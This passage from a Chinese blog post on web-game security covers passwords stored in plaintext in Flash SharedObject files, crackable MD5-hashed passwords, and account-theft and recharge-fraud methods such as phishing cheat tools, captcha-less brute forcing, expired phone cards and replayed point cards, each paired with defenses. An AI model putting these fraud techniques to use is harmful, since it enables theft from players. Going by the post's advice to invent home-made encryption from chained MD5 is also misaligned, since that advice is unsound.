              随着页游兴起到现在的页游繁盛,依赖于存档进行逻辑判断的设计减少了,但这块也不能完全忽略掉。总会有一些功能是需要调用本地存档的。例如登录模块中,记住密码功能,会将密码信息存储在本地,以IE浏览器为例,在C:\Documents and Settings\(你的Windows用户名)\Application Data\Macromedia \Flash Player\#SharedObjects\(些随机数字和字母)\ 文件夹下就可以看到存储密码的SOL文件,可以使用minerva工具查看,如下图所示,密码明文明文存储的,SOL文件是永久性保存的,除非手动清除,如果玩家在公共环境下登录,就会有盗号威胁。
页游安全攻与防 - danqingdani - 碳基体

也有些开发意识到了这个问题,而采用加密存储方式,一般采用md5(其实md5不是真正的加密算法)。md5解密的在线网站非常多,如下图所示,密码通过两次md5后存储,我们可以在http://www.cmd5.com/ 查到。

页游安全攻与防 - danqingdani - 碳基体

所以建议存档加密,采用自定义的加密算法,例如md5后转置再md5,等等。

五、帐号安全/充值安全:盗号/低价充值
帐号安全和充值安全不仅页游如此,所有游戏,甚至所有线上应用都如此。如果说开是个大的话题,我仅仅介绍页游中常见的威胁与防御。
(一)、帐号安全
威胁:
1.外挂盗号
例如下面号称可以无限刷取游戏货币的外挂,实际上在用户输入帐号和密码后,将信息发送给盗号者的邮箱。
页游安全攻与防 - danqingdani - 碳基体
2. 社工盗号
在游戏中获取信任,以为对方代练等好处为引诱盗取帐号。或通过获取个人信息,从密保问题下手进行盗号。
3.从游戏的帐号管理中心等web入口下手,进行盗号。
例如登录模块没有验证码或验证码实现机制漏洞,使用字典扫描批量盗号
4.传输嗅探盗号
5.利用帐号申诉流程漏洞进行盗号
例如有些申诉打分机制存在提供多次充值证明就可以取回密码的方式,先充值,再盗号。
防御:
1.安全意识宣传
2.弱口令检测
3.异地登录提醒
4.登录行为监控
5.设计好帐号相关功能,例如申诉流程
(二)、充值安全
威胁:
1.社工
在网上发帖慌称发现充值漏洞,骗取贪心网友给自己指定的帐号进行充值
页游安全攻与防 - danqingdani - 碳基体
2.利用手机充值漏洞
使用快过期的手机废卡进行充值,大多数的充值不会再次检测手机卡是否存活状态
3.利用宽带充值漏洞
盗取宽带帐号进行充值,由于不会实际影响游戏收益,顶多会出现受害者损失严重的情况下投诉带来的不好影响。
4. 真正的充值漏洞
比如说广泛采用的点卡充值,可能存在点卡被重放使用的漏洞
防御:
1.安全意识宣传
2.充值相关功能的安全检测
结论
---------------------------------------------------
总的来说,页游的各种外挂问题很普遍,端游有的它都有,但安全防御不如端游,这很大程度上是因为页游的开发周期短,生存周期也短,例如较长的神仙道游页才两年了,甚至大多数页游,只是为了短时间洗用户抢钱,因此不会投入人力物力在外挂防御方面,或许第三方的安全服务会有点市场吧,比如说他们乐意购买支持多项目的AS混淆工具。总之,页游是个浮躁的市场,只有生命周期强大的游戏,才会注意到外挂问题。
参考文章: